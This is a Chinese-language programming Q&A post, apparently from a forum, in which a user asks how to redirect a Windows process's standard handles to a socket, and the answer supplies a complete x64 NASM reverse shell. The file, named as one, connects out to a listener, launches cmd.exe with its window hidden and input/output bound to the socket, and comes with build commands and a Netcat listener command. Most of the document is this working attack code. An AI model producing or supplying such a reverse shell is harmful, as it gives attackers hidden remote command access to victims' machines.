有人可以解释一下如何使用 STDERROR/STDOUTPUT/STDINPUT 在我的套接字中进行重定向吗? 结构信息:
hStd输入
如果dwFlags指定STARTF_USESTDHANDLES,则该成员是进程的标准输入句柄。如果未指定 STARTF_USESTDHANDLES,则标准输入的默认值是键盘缓冲区。
如果 dwFlags 指定 STARTF_USEHOTKEY,则该成员指定一个热键值,该值作为 WM_SETHOTKEY 消息的 wParam 参数发送到拥有该进程的应用程序创建的第一个合格的顶级窗口。如果窗口是使用 WS_POPUP 窗口样式创建的,则它不符合条件,除非还设置了 WS_EX_APPWINDOW 扩展窗口样式。有关更多信息,请参阅 CreateWindowEx。
否则,该成员将被忽略。
h标准输出
如果dwFlags指定STARTF_USESTDHANDLES,则该成员是进程的标准输出句柄。否则,该成员将被忽略,标准输出的默认值是控制台窗口的缓冲区。
如果从任务栏或跳转列表启动进程,系统将 hStdOutput 设置为包含用于启动该进程的任务栏或跳转列表的监视器的句柄。有关详细信息,请参阅备注。Windows 7、Windows Server 2008 R2、Windows Vista、Windows Server 2008、Windows XP 和 Windows Server 2003:此行为是在 Windows 8 和 Windows Server 2012 中引入的。
h标准错误
如果dwFlags指定STARTF_USESTDHANDLES,则该成员是进程的标准错误句柄。否则,该成员将被忽略,标准错误的默认值是控制台窗口的缓冲区。
这是我的代码:
; Include necessary header files
extern WSAStartup
extern WSAConnect
extern WSACleanup
extern socket
extern closesocket
extern CreateProcessA
extern WaitForSingleObject
extern GetExitCodeProcess
extern printf
extern ExitProcess
extern CloseHandle
; Define constants
%define AF_INET 2
%define SOCK_STREAM 1
%define IPPROTO_TCP 6
section .data
; Network data
ip_address dd 0x1B01A8C0 ; 192.168.1.27 in network format (little-endian)
port dw 0x0540 ; Port 16389 in network format
; Command to execute
cmd_line db "C:\Windows\System32\cmd.exe", 0
; Log messages
create_process_msg db "Creating process...", 13, 10, 0
process_done_msg db "Process terminated with exit code: %d", 13, 10, 0
error_process_msg db "Error: Failed to create process.", 13, 10, 0
network_connect_msg db "Attempting to connect to network...", 13, 10, 0
network_error_msg db "Network connection error.", 13, 10, 0
section .bss
; Reserve space for variables
wsadata resb 400 ; WSADATA structure
sin resb 68 ; STARTUPINFO structure
pi resb 24 ; PROCESS_INFORMATION structure
exit_code resd 1 ; Process exit code
section .text
global main
main:
sub rsp, 40 ; Align stack and reserve space
; Initialize Winsock
mov rcx, 202h ; Version 2.2
lea rdx, [wsadata]
call WSAStartup
test rax, rax
jnz exit ; If error, exit
; Display network connection message
lea rcx, [rel network_connect_msg]
call printf
; Create socket
mov rcx, AF_INET
mov rdx, SOCK_STREAM
mov r8, IPPROTO_TCP
call socket
mov r13, rax ; Save socket descriptor to r13
cmp r13, -1
je cleanup_wsa ; If socket error, clean Winsock
; Prepare sockaddr structure
sub rsp, 32 ; Allocate space on stack and align
mov word [rsp], AF_INET ; Address family
mov eax, [port]
mov [rsp+2], ax ; Port
mov eax, [ip_address]
mov [rsp+4], eax ; IP address
; Call WSAConnect
mov rcx, r13 ; Socket descriptor
mov rdx, rsp ; name (pointer to sockaddr structure)
mov r8, 16 ; namelen
xor r9, r9 ; lpGQOS
push 0 ; lpCallerData
push 0 ; lpCalleeData
push 0 ; lpSQOS
sub rsp, 32 ; Shadow space for Windows x64 calling convention
call WSAConnect
add rsp, 56 ; Clean stack
test rax, rax
jnz close_socket ; If connection error, close socket
; Show process creation message
lea rcx, [rel create_process_msg]
call printf
; Prepare STARTUPINFO
mov dword [rel sin], 68 ; STARTUPINFO.cb = 68
; Call CreateProcessA
xor ecx, ecx ; lpApplicationName (NULL)
lea rdx, [rel cmd_line] ; lpCommandLine
xor r8, r8 ; lpProcessAttributes (NULL)
xor r9, r9 ; lpThreadAttributes (NULL)
mov dword [rsp + 32], 1 ; bInheritHandles = TRUE
mov [rsp + 40], ecx; dwCreationFlags = 0
mov [rsp + 48], ecx; lpEnvironment
mov [rsp + 56], ecx; lpCurrentDirectory
lea rax, [rel sin]
mov [rsp + 64], rax; lpStartupInfo
lea rax, [rel pi]
mov [rsp + 72], rax; lpProcessInformation
call CreateProcessA
; Verify process creation
rax test, rax
jz process_creation_failed
; Wait for the process to complete
mov rcx, [rel pi + 0]; pi.hProcess
mov rdx, -1 ; INFINITE timeout
call WaitForSingleObject
; Retrieve exit code
mov rcx, [rel pi + 0]; pi.hProcess
lea rdx, [rel exit_code]; lpExitCode
call GetExitCodeProcess
; Show exit code
lea rcx, [rel process_done_msg]
mov edx, [rel exit_code]
call printf
; Close handles
mov rcx, [rel pi + 0]; pi.hProcess
call CloseHandle
mov rcx, [rel pi + 8]; pi.hThread
call CloseHandle
close_socket:
; Close socket
mov rcx, r13
call closesocket
cleanup_wsa:
; Clean Winsock
call WSACleanup
exit:
; Exit the program
xor rcx, rcx ; Exit code 0
call ExitProcess
process_creation_failed:
; Show process error message
lea rcx, [rel error_process_msg]
call printf
; Exit with error code
mov ecx, 1
call ExitProcess```
我已更新您的 Windows NASM 代码以将标准句柄重定向到套接字:
mov rax, [connectSocket]
mov qword [sinfo + 80], rax ; sinfo.hStdInput = SOCKET
mov qword [sinfo + 88], rax ; sinfo.hStdOutput = SOCKET
mov qword [sinfo + 96], rax ; sinfo.hStdError = SOCKET
这是一个完整的 NASM 示例。它很实用,但可以整理。
nasm_tcp_reverse_shell.asm
; Reverse shell to 127.0.0.1:666. Run Netcat: nc -lvvp 666
; NASM version 2.16.03 compiled on Apr 17 2024
;
; nasm -f win64 -g -F cv8 nasm_tcp_reverse_shell.asm -o nasm_tcp_reverse_shell.obj
; link.exe /DEBUG /LARGEADDRESSAWARE:NO /SUBSYSTEM:CONSOLE /ENTRY:start nasm_tcp_reverse_shell.obj Ws2_32.lib Kernel32.lib
global start
extern FreeConsole
extern WSAStartup
extern RtlZeroMemory
extern getaddrinfo
extern WSASocketA
extern connect
extern CreateProcessA
extern WaitForSingleObject
extern CloseHandle
extern WSACleanup
extern ExitProcess
extern WSAGetLastError
default rel
%macro ALIGN_STACK 1
%if (%1 < 5) || ((%1 & 1) == 0)
and spl, 0F0h
%else
or spl, 08h
%endif
%endmacro
%macro RESTORE_STACK 1
%if %1 < 5
lea rsp, [rsp + 5*8]
%elif (%1 & 1) == 0
lea rsp, [rsp + (%1 + 1)*8]
%else
lea rsp, [rsp + %1*8]
%endif
%endmacro
STARTF_USESTDHANDLES equ 0x00000100
STARTF_USESHOWWINDOW equ 0x00000001
SW_HIDE equ 0x0000
SECTION .data
REMOTE_ADDR db "127.0.0.1",0 ; Remote IP address
REMOTE_PORT db "666",0 ; Remote port
CMD_PATH db "C:\WINDOWS\SYSTEM32\CMD.EXE",0
MAKEWORD_VAL dw 0x0202 ; MAKEWORD(2,2)
INFINITE dq -1 ; 64-bit INFINITE
wsadata db 408 dup(0) ; WSADATA structure (x64)
result_ptr dq 0 ; Pointer to addrinfo result
addr_ptr dq 0 ; Pointer to current addrinfo
connectSocket dq 0 ; SOCKET
sinfo db 104 dup(0) ; STARTUPINFO structure (x64)
pi db 24 dup(0) ; PROCESS_INFORMATION structure
hints db 48 dup(0) ; addrinfo hints structure
SECTION .text
start:
; ---------------------------
; Initialize Winsock
; ---------------------------
%define NUM_ARGS 2
push rsp
push qword [rsp]
ALIGN_STACK NUM_ARGS
lea rcx, [wsadata]
mov rdx, MAKEWORD_VAL
sub rsp, 32
call WSAStartup
RESTORE_STACK NUM_ARGS
pop rsp
; ---------------------------
; RtlZeroMemory(&hints, sizeof(hints))
; ---------------------------
%define NUM_ARGS 2
push rsp
push qword [rsp]
ALIGN_STACK NUM_ARGS
lea rcx, [hints]
mov rdx, 48
sub rsp, 32
call RtlZeroMemory
RESTORE_STACK NUM_ARGS
pop rsp
; ---------------------------
; Set up addrinfo hints
; ---------------------------
mov dword [hints+4], 0 ; hints.ai_family = AF_UNSPEC
mov dword [hints + 8], 1 ; hints.ai_socktype = SOCK_STREAM
mov dword [hints + 12], 6 ; hints.ai_protocol = IPPROTO_TCP
; ---------------------------
; Call getaddrinfo
; ---------------------------
%define NUM_ARGS 4
push rsp
push qword [rsp]
ALIGN_STACK NUM_ARGS
lea rcx, [REMOTE_ADDR]
lea rdx, [REMOTE_PORT]
lea r8, [hints]
lea r9, [result_ptr]
sub rsp, 32
call getaddrinfo
RESTORE_STACK NUM_ARGS
pop rsp
; ---------------------------
; Retrieve addrinfo result
; ---------------------------
mov rax, [result_ptr]
mov [addr_ptr], rax
; ---------------------------
; Create a Socket
; ---------------------------
%define NUM_ARGS 6
push rsp
push qword [rsp]
ALIGN_STACK NUM_ARGS
mov rax, [addr_ptr]
mov ecx, [rax+4] ; ai_family
mov edx, [rax + 8] ; ai_socktype
mov r8d, [rax + 12] ; ai_protocol
xor r9, r9 ; lpProtocolInfo = NULL
push 0 ; dwFlags = 0
push 0 ; g = 0
sub rsp, 32 ; Allocate shadow space
call WSASocketA
RESTORE_STACK NUM_ARGS
pop rsp
mov [connectSocket], rax
; ---------------------------
; Connect to Remote Address
; ---------------------------
%define NUM_ARGS 3
push rsp
push qword [rsp]
ALIGN_STACK NUM_ARGS
mov rcx, [connectSocket]
mov rax, [addr_ptr] ; addrinfo*
mov rdx, [rax + 32] ; sockaddr*
mov r8d, [rax + 16] ; namelen
sub rsp, 32 ; Allocate shadow space
call connect
RESTORE_STACK NUM_ARGS
pop rsp
; ---------------------------
; RtlZeroMemory(&sinfo, sizeof(sinfo))
; ---------------------------
%define NUM_ARGS 2
push rsp
push qword [rsp]
ALIGN_STACK NUM_ARGS
lea rcx, [sinfo]
mov rdx, 104 ; sizeof(sinfo)
sub rsp, 32 ; Allocate shadow space
call RtlZeroMemory
RESTORE_STACK NUM_ARGS
pop rsp
; ---------------------------
; Initialize STARTUPINFO Structure
; ---------------------------
mov dword [sinfo], 104 ; sinfo.cb = sizeof(sinfo)
mov eax,STARTF_USESHOWWINDOW
or eax,STARTF_USESTDHANDLES
mov dword [sinfo + 60], eax ; sinfo.dwFlags = flags
mov dword [sinfo + 64], SW_HIDE ; sinfo.wShowWindow = SW_HIDE
; ---------------------------
; Redirect Standard Handles to Socket
; ---------------------------
mov rax, [connectSocket]
mov qword [sinfo + 80], rax ; sinfo.hStdInput = SOCKET
mov qword [sinfo + 88], rax ; sinfo.hStdOutput = SOCKET
mov qword [sinfo + 96], rax ; sinfo.hStdError = SOCKET
; ---------------------------
; RtlZeroMemory(&pi, sizeof(pi))
; ---------------------------
%define NUM_ARGS 2
push rsp
push qword [rsp]
ALIGN_STACK NUM_ARGS
lea rcx, [pi]
mov rdx, 24 ; sizeof(pi)
sub rsp, 32 ; Allocate shadow space
call RtlZeroMemory
RESTORE_STACK NUM_ARGS
pop rsp
; ---------------------------
; Create a New Process (cmd.exe)
; ---------------------------
%define NUM_ARGS 10
push rsp
push qword [rsp]
ALIGN_STACK NUM_ARGS
lea rax, [pi]
push rax ; LPPROCESS_INFORMATION lpProcessInformation = &pi
lea rax, [sinfo]
push rax ; LPSTARTUPINFOA lpStartupInfo = &sinfo
push 0 ; LPCSTR lpCurrentDirectory = NULL
push 0 ; LPVOID lpEnvironment = NULL
push 0 ; DWORD dwCreationFlags = 0
push 1 ; BOOL bInheritHandles = TRUE
xor r9, r9 ; LPSECURITY_ATTRIBUTES lpThreadAttributes = NULL
xor r8, r8 ; LPSECURITY_ATTRIBUTES lpProcessAttributes = NULL
lea rdx, [CMD_PATH] ; LPSTR lpCommandLine = CMD_PATH
xor rcx, rcx ; LPCSTR lpApplicationName = NULL
sub rsp, 32
call CreateProcessA
RESTORE_STACK NUM_ARGS
pop rsp
; ---------------------------
; Wait for the Created Process to Finish
; ---------------------------
%define NUM_ARGS 2
push rsp
push qword [rsp]
ALIGN_STACK NUM_ARGS
mov rcx, [pi] ; HANDLE hHandle = pi.hProcess
lea rdx, [INFINITE] ; DWORD dwMilliseconds = INFINITE
sub rsp, 32 ; Allocate shadow space
call WaitForSingleObject
RESTORE_STACK NUM_ARGS
pop rsp
; ---------------------------
; Close Handles
; ---------------------------
%define NUM_ARGS 1
push rsp
push qword [rsp]
ALIGN_STACK NUM_ARGS
mov rcx, [pi] ; HANDLE hObject = pi.hProcess
call CloseHandle
RESTORE_STACK NUM_ARGS
pop rsp
%define NUM_ARGS 1
push rsp
push qword [rsp]
ALIGN_STACK NUM_ARGS
mov rcx, [pi + 8] ; HANDLE hObject = pi.hThread
call CloseHandle
RESTORE_STACK NUM_ARGS
pop rsp
; ---------------------------
; Clean Up Winsock
; ---------------------------
%define NUM_ARGS 0
push rsp
push qword [rsp]
ALIGN_STACK NUM_ARGS
sub rsp, 32
call WSACleanup
RESTORE_STACK NUM_ARGS
pop rsp
; ---------------------------
; Exit the Process
; ---------------------------
%define NUM_ARGS 1
push rsp
push qword [rsp]
ALIGN_STACK NUM_ARGS
xor rcx, rcx ; UINT uExitCode = 0
sub rsp, 32
call ExitProcess
RESTORE_STACK NUM_ARGS
pop rsp
nasm_tcp_reverse_shell.bat
@echo on
if not defined DevEnvDir (
call "C:\Program Files (x86)\Microsoft Visual Studio\2019\Professional\VC\Auxiliary\Build\vcvars64.bat"
)
nasm -f win64 -g -F cv8 nasm_tcp_reverse_shell.asm -o nasm_tcp_reverse_shell.obj
link.exe /DEBUG /LARGEADDRESSAWARE:NO /SUBSYSTEM:CONSOLE /ENTRY:start nasm_tcp_reverse_shell.obj Ws2_32.lib Kernel32.lib
在远程系统上运行 Netcat 以侦听传入连接:
nc-lvvp 666
一旦目标系统连接回远程监听器,
cmd.exe
进程就会在目标机器上执行,并且其输入/输出通过Netcat建立的套接字连接进行重定向。